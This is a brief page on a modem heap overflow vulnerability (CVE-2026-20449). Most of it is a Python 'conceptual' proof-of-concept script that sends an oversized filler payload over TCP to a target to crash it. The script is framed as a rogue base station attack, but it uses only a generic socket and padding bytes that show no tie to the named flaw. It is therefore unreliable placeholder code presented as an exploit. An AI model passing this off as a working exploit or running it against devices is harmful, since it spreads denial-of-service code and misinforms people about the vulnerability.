CVE-2026-20449 Modem堆缓冲区溢出致系统崩溃漏洞

# PoC for CVE-2026-20449 (Conceptual) # This script simulates sending a malformed packet to a UE connected to a rogue base station. import socket def send_malicious_packet(target_ip, target_port): # Construct a payload that triggers the heap overflow # Payload structure: [Header][Padding][Overflow Data] payload = b"\x01\x02\x03\x04" # Example Header payload += b"A" * 1000 # Padding payload += b"\x00" * 500 # Overflow Data to crash the modem try: # Send payload to the target (Modem interface simulation) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload) print("[+] Malicious packet sent to target.") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage: send_malicious_packet("192.168.1.100", 8080)